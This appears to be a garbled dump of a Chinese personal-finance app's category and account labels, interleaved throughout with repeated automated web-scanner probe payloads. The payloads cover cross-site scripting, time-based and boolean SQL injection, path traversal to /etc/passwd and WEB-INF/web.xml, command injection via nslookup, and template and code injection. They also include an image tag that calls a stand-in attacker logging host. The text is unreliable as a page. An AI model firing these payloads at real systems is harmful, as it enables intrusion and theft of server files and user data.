e<ScRiPt >mtXi(9966)</ScRiPt>
e<WK5RCX>SDEW1[!+!]</WK5RCX>
e<script>mtXi(9908)</script>
e<ScRiPt >mtXi(9687)</ScRiPt>
e< ScRiPt >mtXi(9414)</ScRiPt>
e<svg ？ onload=mtXi(9387);>
e<body onload=mtXi(9847)>
e<img src=xyz OnErRor=mtXi(9574)>
e<img/src=">" onerror=alert(9593)>
e<ScRiPt>mtXi(9432)</sCripT>
？<img acu onmouseover=mtXi(9884) //？
e<input autofocus onfocus=mtXi(9647)>
<a HrEF=http://www.vulnweb.com></a>
<a HrEF=jaVaScRiPT:>
[url=http://www.vulnweb.com][/url]
e}body{acu:Expre/**/SSion(mtXi(9058))}
e<% contenteditable onresize=mtXi(9389)>
e_MoqSc <ScRiPt >mtXi(9997)</ScRiPt>
e<W8CM7P>HUOIS[!+!]</W8CM7P>
e<ifRAme sRc=9684.com></IfRamE>
e<hNMUnO x=9011>
e<img sRc='http://attacker-9171/log.php?
应收款项
1TexSvIzO
1'"
\
1 ？？？？%2527%2522
@@yLLay
JyI=
？'？"
？''？
response.write(9820158*9022922)
应收款项
'+response.write(9820158*9022922)+'
"+response.write(9820158*9022922)+"
应收款项
应收款项
应收款项
12345'"\'\");|]* { < >？''？？
应收款项
${9999304+10000392}
#{9999304+10000392}
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt?.jpg
bxss.me
)
;print(md5(31337));
!(()&&!|*|*|
^(#$!@#$)(()))******
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
HttP://bxss.me/t/xss.html?%00
http://hitogdur7VtZv.bxss.me/
saveParamType.action
bxss.me/t/xss.html?%00
saveParamType.action
saveParamType.action/.
'"
<!--
应收款项
应收款项
FHBDTc2T
-1 OR 2+485-485-1=0+0+0+1 --
-1 OR 2+321-321-1=0+0+0+1
-1' OR 2+804-804-1=0+0+0+1 --
-1" OR 2+103-103-1=0+0+0+1 --
应收款项
应收款项
应收款项
金额：
分类：
e
新建二级分...
职业收入
e
response.write(9306078*9635893)
'+response.write(9306078*9635893)+'
"+response.write(9306078*9635893)+"
set|set&set
IweHeP1y
工资收入
利息收入
奖金收入
e
$(nslookup OUCYWmWg)
/www.vulnweb.com
'"
<!--
TFlZRwDQ'));select pg_sleep(6); --
e'"()&%<acx><ScRiPt >eswD(9030)</ScRiPt>
'"()&%<acx><ScRiPt >eswD(9166)</ScRiPt>
e_9214
\
JyI=
？'？"
？''？
(select convert(int,CHAR(65)))
1'"
1 ？？？？
@@b1iKC
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
../../../../../../../../../../boot.ini
................windowswin.ini
..\..\..\..\..\..\..\..\windows\win.ini
WEB-INF/web.xml
WEB-INF\web.xml
//WEB-INF/web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
e
-1" OR 2+84-84-1=0+0+0+1 --
gtpT4bFZ'; waitfor delay '0:0:6' --
${10000292+10000451}
http://hitFoEmU1kiza.bxss.me/
saveParamType.action
saveParamType.action/.
e
inmWM0XA
-1 OR 2+960-960-1=0+0+0+1 --
-1 OR 2+875-875-1=0+0+0+1
-1' OR 2+409-409-1=0+0+0+1 --
1 waitfor delay '0:0:18' --
AMvZch2u';select pg_sleep(6); --
tobKaibm');select pg_sleep(6); --
#{10000292+10000451}
12345'"\'\");|]* { < >？''？？
)
'"()
!(()&&!|*|*|
^(#$!@#$)(()))******
Http://testasp.vulnweb.com/t/fit.txt
testasp.vulnweb.com
saveParamType.action
;print(md5(acunetix_wvs_security_test));
${10000035+10000482}
#{10000035+10000482}
Http://testasp.vulnweb.com/t/fit.txt
)
!(()&&!|*|*|
^(#$!@#$)(()))******
'"()
saveParamType.action
saveParamType.action
;print(md5(acunetix_wvs_security_test));
saveParamType.action/.
/www.vulnweb.com
testasp.vulnweb.com
e
response.write(9686543*9105584)
'+response.write(9686543*9105584)+'
"+response.write(9686543*9105584)+"
set|set&set
$(nslookup kHQBYwXw)
LzMkonnF
'"
http://hitKwobdgSiRm.bxss.me/
e'"()&%<acx><ScRiPt >PWZs(9406)</ScRiPt>
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
//WEB-INF/web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
<!--
'"()&%<acx><ScRiPt >PWZs(9359)</ScRiPt>
e_9859
1'"
\
@@h9fPz
JyI=
？'？"
(select convert(int,CHAR(65)))
e
12345'"\'\");|]* { < >？''？？
1 ？？？？
？''？
e
9XmWrpst
-1 OR 2+827-827-1=0+0+0+1 --
-1 OR 2+998-998-1=0+0+0+1
-1' OR 2+121-121-1=0+0+0+1 --
-1" OR 2+803-803-1=0+0+0+1 --
1 waitfor delay '0:0:18' --
G00yypRp'; waitfor delay '0:0:18' --
x1TYbyXK';select pg_sleep(6); --
w2HZUfbj');select pg_sleep(6); --
jvjoi38a'));select pg_sleep(6); --
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
e
1'"
\
1 ？？？？%2527%2522
@@lQpT5
JyI=
？'？"
？''？
response.write(9156322*9309630)
'+response.write(9156322*9309630)+'
"+response.write(9156322*9309630)+"
12345'"\'\");|]* { < >？''？？
${9999753+10000090}
#{9999753+10000090}
)
!(()&&!|*|*|
^(#$!@#$)(()))******
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt?.jpg
HttP://bxss.me/t/xss.html?%00
bxss.me
bxss.me/t/xss.html?%00
;print(md5(31337));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
saveParamType.action
${@print(md5(31337))}\
saveParamType.action
http://hitaLRgADcYce.bxss.me/
saveParamType.action/.
'"
<!--
1
1
asjceRSg
-1 OR 2+96-96-1=0+0+0+1 --
-1 OR 2+520-520-1=0+0+0+1
-1' OR 2+628-628-1=0+0+0+1 --
-1" OR 2+802-802-1=0+0+0+1 --
新建二级分...
其他收入
e
礼金收入
中奖收入
其他
兼职收入
response.write(9180982*9244021)
'+response.write(9180982*9244021)+'
${9999613+9999602}
12345'"\'\");|]* { < >？''？？
"+response.write(9180982*9244021)+"
ndMboAlV
set|set&set
$(nslookup mWTHKapB)
#{9999613+9999602}
)
^(#$!@#$)(()))******
testasp.vulnweb.com
'"()
/www.vulnweb.com
Http://testasp.vulnweb.com/t/fit.txt
e
http://hitZgluR05pzJ.bxss.me/
e
6NBpLWv0
-1 OR 2+350-350-1=0+0+0+1
saveParamType.action/.
;print(md5(acunetix_wvs_security_test));
QOjDi5o6'; waitfor delay '0:0:12' --
X8LKa0xA';select pg_sleep(12); --
CYlknCYV'));select pg_sleep(12); --
e_9598
1'"
1 ？？？？
@@KW2Bf
JyI=
？'？"
？''？
(select convert(int,CHAR(65)))
!(()&&!|*|*|
-1 OR 2+915-915-1=0+0+0+1 --
-1' OR 2+132-132-1=0+0+0+1 --
saveParamType.action
saveParamType.action
-1" OR 2+913-913-1=0+0+0+1 --
1 waitfor delay '0:0:12' --
DKeynrdb');select pg_sleep(12); --
'"
<!--
e'"()&%<acx><ScRiPt >qSq5(9273)</ScRiPt>
'"()&%<acx><ScRiPt >qSq5(9570)</ScRiPt>
\
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
................windowswin.ini
WEB-INF\web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
/..\..WEB-INFweb.xml
../../../../WEB-INF/web.xml
/etc/passwd
%2fetc%2fpasswd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
//WEB-INF/web.xml
/static/WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
../../../../../../../../../../boot.ini
..\..\..\..\..\..\..\..\windows\win.ini
/forward:/WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
新建二级分...
e
新建二级分...
e
新建二级分...
e
e
${9999288+10000364}
!(()&&!|*|*|
^(#$!@#$)(()))******
saveParamType.action
saveParamType.action
saveParamType.action/.
;print(md5(acunetix_wvs_security_test));
response.write(9412047*9511555)
set|set&set
"+response.write(9412047*9511555)+"
6GcuBmNA
$(nslookup A8V4J02i)
'+response.write(9412047*9511555)+'
#{9999288+10000364}
'"()
testasp.vulnweb.com
)
12345'"\'\");|]* { < >？''？？
Http://testasp.vulnweb.com/t/fit.txt
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
//WEB-INF/web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../../WEB-INF/web.xml
-1 OR 2+243-243-1=0+0+0+1 --
/www.vulnweb.com
1 waitfor delay '0:0:18' --
aHxbd0bC'; waitfor delay '0:0:6' --
\
5ketxbZR'));select pg_sleep(6); --
<!--
-1 OR 2+40-40-1=0+0+0+1
-1' OR 2+568-568-1=0+0+0+1 --
-1" OR 2+937-937-1=0+0+0+1 --
1 ？？？？
pfkCO8z7');select pg_sleep(6); --
@@GuwPI
JyI=
？'？"
？''？
e'"()&%<acx><ScRiPt >4R05(9121)</ScRiPt>
'"()&%<acx><ScRiPt >4R05(9109)</ScRiPt>
e_9516
e
e
0sIz8iYt
http://hitbm84AQTjJB.bxss.me/
1'"
Dlbk74NI';select pg_sleep(6); --
'"
(select convert(int,CHAR(65)))
新建二级分...
e
新建二级分...
e
新建二级分...
e
新建二级分...
e
新建二级分...
转账
转账
新建二级分...
新建一级分...
账户：
存折
在线支付
e
e
response.write(9282300*9088122)
'+response.write(9282300*9088122)+'
"+response.write(9282300*9088122)+"
e
e
储蓄卡/借记卡
现金券
Hanog9y4
现金
应收款项
信用卡
e
e
e
set|set&set
$(nslookup IDl6epvn)
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/www.vulnweb.com
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
'"
WEB-INF/web.xml
<!--
/WEB-INF/web.xml
WEB-INF\web.xml
../../../../../../../../../../boot.ini
1'"
\
................windowswin.ini
1 ？？？？
..\..\..\..\..\..\..\..\windows\win.ini
@@kjUB3
JyI=
？'？"
？''？
WEB-INF/web.xml
e
${9999984+9999059}
#{9999984+9999059}
12345'"\'\");|]* { < >？''？？
Http://testasp.vulnweb.com/t/fit.txt
)
testasp.vulnweb.com
!(()&&!|*|*|
^(#$!@#$)(()))******
'"()
(select convert(int,CHAR(65)))
WEB-INF\web.xml
e'"()&%<acx><ScRiPt >eswD(9016)</ScRiPt>
//WEB-INF/web.xml
'"()&%<acx><ScRiPt >eswD(9036)</ScRiPt>
/static/WEB-INF/web.xml
e_9746
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
-1 OR 2+395-395-1=0+0+0+1 --
-1' OR 2+55-55-1=0+0+0+1 --
-1" OR 2+801-801-1=0+0+0+1 --
e
e&n995797=v967417
;print(md5(acunetix_wvs_security_test));
http://hit3fkRUD0wlc.bxss.me/
saveParamType.action
saveParamType.action
saveParamType.action/.
zGDpspyy
-1 OR 2+36-36-1=0+0+0+1
1 waitfor delay '0:0:9' --
9p1kAKH8'; waitfor delay '0:0:9' --
M209iEDA';select pg_sleep(9); --
UCxiBpq2');select pg_sleep(9); --
ieMVggYF'));select pg_sleep(3); --
set|set&set
$(nslookup hI8EtrhL)
12345'"\'\");|]* { < >？''？？
${10000428+9999397}
e
e
response.write(9736144*9895312)
)
!(()&&!|*|*|
^(#$!@#$)(()))******
Http://testasp.vulnweb.com/t/fit.txt
'+response.write(9736144*9895312)+'
"+response.write(9736144*9895312)+"
c9hK115j
#{10000428+9999397}
e&n931832=v904776
e
e
-1' OR 2+16-16-1=0+0+0+1 --
-1" OR 2+476-476-1=0+0+0+1 --
1 waitfor delay '0:0:3' --
xA9nEm6E'; waitfor delay '0:0:3' --
http://hitdLF7Ztc219.bxss.me/
saveParamType.action
saveParamType.action/.
/www.vulnweb.com
6NdjvxhI';select pg_sleep(3); --
xy8aOSKq');select pg_sleep(6); --
tS6l1SLi'));select pg_sleep(6); --
'"()
e
<!--
JyI=
\
(select convert(int,CHAR(65)))
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
../../../../../../../../../../boot.ini
................windowswin.ini
..\..\..\..\..\..\..\..\windows\win.ini
WEB-INF/web.xml
WEB-INF\web.xml
//WEB-INF/web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
testasp.vulnweb.com
34YiCI97
-1 OR 2+729-729-1=0+0+0+1 --
-1 OR 2+424-424-1=0+0+0+1
;print(md5(acunetix_wvs_security_test));
saveParamType.action
e
'"
1'"
1 ？？？？
@@GqyWS
？'？"
？''？
e'"()&%<acx><ScRiPt >qSq5(9174)</ScRiPt>
'"()&%<acx><ScRiPt >qSq5(9053)</ScRiPt>
e_9780
#{9999066+9999990}
e&n925252=v924195
Http://testasp.vulnweb.com/t/fit.txt
)
!(()&&!|*|*|
${9999066+9999990}
testasp.vulnweb.com
^(#$!@#$)(()))******
'"()
;print(md5(acunetix_wvs_security_test));
saveParamType.action
saveParamType.action
saveParamType.action/.
12345'"\'\");|]* { < >？''？？
/www.vulnweb.com
'"
<!--
http://hit7nHMBENSfE.bxss.me/
e
e
e
e
response.write(9608553*9850259)
'+response.write(9608553*9850259)+'
"+response.write(9608553*9850259)+"
set|set&set
$(nslookup ogrsnp8M)
z2nx1JoY
e
MxXwVr5R
-1' OR 2+247-247-1=0+0+0+1 --
1'"
e'"()&%<acx><ScRiPt >PWZs(9293)</ScRiPt>
'"()&%<acx><ScRiPt >PWZs(9937)</ScRiPt>
e_9206
@@qEA9S
？'？"
1 waitfor delay '0:0:3' --
(select convert(int,CHAR(65)))
EiCjk6Nr');select pg_sleep(6); --
e
-1 OR 2+380-380-1=0+0+0+1 --
-1 OR 2+818-818-1=0+0+0+1
？''？
0yRdtThu'; waitfor delay '0:0:3' --
GAsJ8PwN';select pg_sleep(3); --
\
1 ？？？？
-1" OR 2+419-419-1=0+0+0+1 --
JyI=
3NOK6Pqr'));select pg_sleep(6); --
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
//WEB-INF/web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
现金口袋
e
e
'"()
)
e
ZTsO2D7C
'+response.write(9826490*9709266)+'
e&n913554=v923854
e
e
2p6rYqJz
-1 OR 2+293-293-1=0+0+0+1
1 waitfor delay '0:0:9' --
e
response.write(9826490*9709266)
set|set&set
"+response.write(9826490*9709266)+"
$(nslookup xAU27LyQ)
12345'"\'\");|]* { < >？''？？
${9999754+9999471}
#{9999754+9999471}
Http://testasp.vulnweb.com/t/fit.txt
testasp.vulnweb.com
!(()&&!|*|*|
^(#$!@#$)(()))******
-1 OR 2+319-319-1=0+0+0+1 --
-1' OR 2+698-698-1=0+0+0+1 --
-1" OR 2+279-279-1=0+0+0+1 --
;print(md5(acunetix_wvs_security_test));
0S7icR5w'; waitfor delay '0:0:9' --
BUVHL2Ay';select pg_sleep(9); --
2NDFuA5o');select pg_sleep(9); --
AdBxMlzD'));select pg_sleep(3); --
saveParamType.action
saveParamType.action
saveParamType.action/.
e<ScRiPt >mtXi(9304)</ScRiPt>
1acu8f0N6NtwhT
1'"
1 ？？？？
JyI=
？'？"
'"
e
%2fetc%2fpasswd
WEB-INF\web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../../WEB-INF/web.xml?
\
@@snvLA
/www.vulnweb.com
e'"()&%<acx><ScRiPt >4R05(9618)</ScRiPt>
e_9480
<!--
e
../../../../../../../../../../etc/passwd
'"()&%<acx><ScRiPt >4R05(9418)</ScRiPt>
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
//WEB-INF/web.xml
./WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
http://hitSp1frTka2E.bxss.me/
？''？
(select convert(int,CHAR(65)))
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
1acukm6rxO0LIc
应收款项
e
e<WLHCHD>HLLQT[!+!]</WLHCHD>
e<script>mtXi(9914)</script>
e<ScRiPt >mtXi(9414)</ScRiPt>
e< ScRiPt >mtXi(9655)</ScRiPt>
e<svg ？ onload=mtXi(9487);>
e<body onload=mtXi(9268)>
e<img src=xyz OnErRor=mtXi(9140)>
e<img/src=">" onerror=alert(9545)>
e<ScRiPt>mtXi(9627)</sCripT>
？<img acu onmouseover=mtXi(9927) //？
e<input autofocus onfocus=mtXi(9740)>
<a HrEF=http://www.vulnweb.com></a>
<a HrEF=jaVaScRiPT:>
[url=http://www.vulnweb.com][/url]
e}body{acu:Expre/**/SSion(mtXi(9240))}
e<% contenteditable onresize=mtXi(9076)>
e_XoqwE <ScRiPt >mtXi(9036)</ScRiPt>
e<WX1GDQ>F3GJH[!+!]</WX1GDQ>
e<ifRAme sRc=9413.com></IfRamE>
e<pvP3Ws x=9510>
e<img sRc='http://attacker-9627/log.php?
e<ScRiPt >mtXi(9123)</ScRiPt>
e<WYXJN7>LGS3N[!+!]</WYXJN7>
e<script>mtXi(9760)</script>
e<ScRiPt >mtXi(9274)</ScRiPt>
e< ScRiPt >mtXi(9872)</ScRiPt>
e'"()&%<acx><ScRiPt >mtXi(9746)</ScRiPt>
'"()&%<acx><ScRiPt >mtXi(9093)</ScRiPt>
e_9955
acu2171＜s1﹥s2？s3？uca2171
acux3770？？z1？？z2a？bcxuca3770
{{9999983*10000328}}
acu9681＜s1﹥s2？s3？uca9681
acux1208？？z1？？z2a？bcxuca1208
{{9999127*9999613}}
e<ScRiPt >mtXi(9227)</ScRiPt>
e'"()&%<acx><ScRiPt >mtXi(9984)</ScRiPt>
'"()&%<acx><ScRiPt >mtXi(9208)</ScRiPt>
e_9574
acu3972＜s1﹥s2？s3？uca3972
acux8916？？z1？？z2a？bcxuca8916
{{10000312*9999841}}
acu1736＜s1﹥s2？s3？uca1736
acux8816？？z1？？z2a？bcxuca8816
{{10000446*10000252}}
e<svg ？ onload=mtXi(9694);>
e<body onload=mtXi(9898)>
e<img src=xyz OnErRor=mtXi(9439)>
e<img/src=">" onerror=alert(9412)>
e<ScRiPt>mtXi(9898)</sCripT>
？<img acu onmouseover=mtXi(9224) //？
e<input autofocus onfocus=mtXi(9080)>
<a HrEF=http://www.vulnweb.com></a>
<a HrEF=jaVaScRiPT:>
[url=http://www.vulnweb.com][/url]
e}body{acu:Expre/**/SSion(mtXi(9338))}
e<% contenteditable onresize=mtXi(9031)>
e_j8jFT <ScRiPt >mtXi(9699)</ScRiPt>
e<WWJE23>7GEPO[!+!]</WWJE23>
e<ifRAme sRc=9662.com></IfRamE>
e<XvpWjB x=9665>
e<img sRc='http://attacker-9479/log.php?
e<WNKJWE>RIZQO[!+!]</WNKJWE>
e<script>mtXi(9583)</script>
e<ScRiPt >mtXi(9369)</ScRiPt>
e< ScRiPt >mtXi(9062)</ScRiPt>
e<svg ？ onload=mtXi(9941);>
e<body onload=mtXi(9946)>
e<img src=xyz OnErRor=mtXi(9738)>
e<img/src=">" onerror=alert(9048)>
e<ScRiPt>mtXi(9269)</sCripT>
？<img acu onmouseover=mtXi(9172) //？
e<input autofocus onfocus=mtXi(9798)>
<a HrEF=http://www.vulnweb.com></a>
<a HrEF=jaVaScRiPT:>
[url=http://www.vulnweb.com][/url]
e}body{acu:Expre/**/SSion(mtXi(9745))}
e<% contenteditable onresize=mtXi(9407)>
e_lugzK <ScRiPt >mtXi(9887)</ScRiPt>
e<W4UAHF>YDVVB[!+!]</W4UAHF>
e<ifRAme sRc=9601.com></IfRamE>
e<CPS8dW x=9350>
e<img sRc='http://attacker-9631/log.php?
e<ScRiPt >mtXi(9966)</ScRiPt>
e<WK5RCX>SDEW1[!+!]</WK5RCX>
e<script>mtXi(9908)</script>
e<ScRiPt >mtXi(9687)</ScRiPt>
e< ScRiPt >mtXi(9414)</ScRiPt>
e<svg ？ onload=mtXi(9387);>
e<body onload=mtXi(9847)>
e<img src=xyz OnErRor=mtXi(9574)>
e<img/src=">" onerror=alert(9593)>
e<ScRiPt>mtXi(9432)</sCripT>
？<img acu onmouseover=mtXi(9884) //？
e<input autofocus onfocus=mtXi(9647)>
<a HrEF=http://www.vulnweb.com></a>
<a HrEF=jaVaScRiPT:>
[url=http://www.vulnweb.com][/url]
e}body{acu:Expre/**/SSion(mtXi(9058))}
e<% contenteditable onresize=mtXi(9389)>
e_MoqSc <ScRiPt >mtXi(9997)</ScRiPt>
e<W8CM7P>HUOIS[!+!]</W8CM7P>
e<ifRAme sRc=9684.com></IfRamE>
e<hNMUnO x=9011>
e<img sRc='http://attacker-9171/log.php?
应收款项
1TexSvIzO
1'"
\
1 ？？？？%2527%2522
@@yLLay
JyI=
？'？"
？''？
response.write(9820158*9022922)
应收款项
'+response.write(9820158*9022922)+'
"+response.write(9820158*9022922)+"
应收款项
应收款项
应收款项
12345'"\'\");|]* { < >？''？？
应收款项
${9999304+10000392}
#{9999304+10000392}
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt?.jpg
bxss.me
)
;print(md5(31337));
!(()&&!|*|*|
^(#$!@#$)(()))******
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
HttP://bxss.me/t/xss.html?%00
http://hitogdur7VtZv.bxss.me/
saveParamType.action
bxss.me/t/xss.html?%00
saveParamType.action
saveParamType.action/.
'"
<!--
应收款项
应收款项
FHBDTc2T
-1 OR 2+485-485-1=0+0+0+1 --
-1 OR 2+321-321-1=0+0+0+1
-1' OR 2+804-804-1=0+0+0+1 --
-1" OR 2+103-103-1=0+0+0+1 --
应收款项
应收款项
应收款项
金额：
时间：
项目：
e
e
response.write(9352976*9391325)
'+response.write(9352976*9391325)+'
"+response.write(9352976*9391325)+"
e
煤气费
e
BIAS5xkk
无
红包
奖金
公司报销
装修
e
set|set&set
$(nslookup mTNLOJnz)
/www.vulnweb.com
'"
<!--
${9999561+9999739}
#{9999561+9999739}
e'"()&%<acx><ScRiPt >eswD(9488)</ScRiPt>
'"()&%<acx><ScRiPt >eswD(9784)</ScRiPt>
e_9460
1'"
\
1 ？？？？
@@LQhxh
JyI=
？'？"
？''？
(select convert(int,CHAR(65)))
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
../../../../../../../../../../boot.ini
................windowswin.ini
..\..\..\..\..\..\..\..\windows\win.ini
WEB-INF/web.xml
WEB-INF\web.xml
//WEB-INF/web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
-1" OR 2+167-167-1=0+0+0+1 --
1 waitfor delay '0:0:10' --
pabuV8gc'));select pg_sleep(15); --
)
!(()&&!|*|*|
^(#$!@#$)(()))******
http://hitWszF7sz1ui.bxss.me/
e
e
RAT8IpPg
-1 OR 2+33-33-1=0+0+0+1 --
-1 OR 2+83-83-1=0+0+0+1
-1' OR 2+891-891-1=0+0+0+1 --
7IC04LtE'; waitfor delay '0:0:10' --
MZDif2uG';select pg_sleep(15); --
NSxGXcWb');select pg_sleep(15); --
12345'"\'\");|]* { < >？''？？
'"()
Http://testasp.vulnweb.com/t/fit.txt
testasp.vulnweb.com
saveParamType.action
;print(md5(acunetix_wvs_security_test));
saveParamType.action
saveParamType.action/.
e
12345'"\'\");|]* { < >？''？？
response.write(9841940*9721216)
'+response.write(9841940*9721216)+'
"+response.write(9841940*9721216)+"
set|set&set
QzBsVhnP
$(nslookup VLwUrPVz)
e
${9999430+9999576}
#{9999430+9999576}
Http://testasp.vulnweb.com/t/fit.txt
testasp.vulnweb.com
jmb9xNuC';select pg_sleep(5); --
/www.vulnweb.com
cywrXuaX
ghX1T2Hg');select pg_sleep(5); --
saveParamType.action
;print(md5(acunetix_wvs_security_test));
e'"()&%<acx><ScRiPt >qSq5(9902)</ScRiPt>
1'"
'"()&%<acx><ScRiPt >qSq5(9443)</ScRiPt>
\
？'？"
(select convert(int,CHAR(65)))
!(()&&!|*|*|
^(#$!@#$)(()))******
'"()
e
e
-1 OR 2+223-223-1=0+0+0+1 --
-1 OR 2+448-448-1=0+0+0+1
-1' OR 2+822-822-1=0+0+0+1 --
-1" OR 2+373-373-1=0+0+0+1 --
1 waitfor delay '0:0:15' --
iWBV3JU6'; waitfor delay '0:0:5' --
djV9t00h'));select pg_sleep(5); --
http://hit9WZlnUwr6p.bxss.me/
saveParamType.action
saveParamType.action/.
<!--
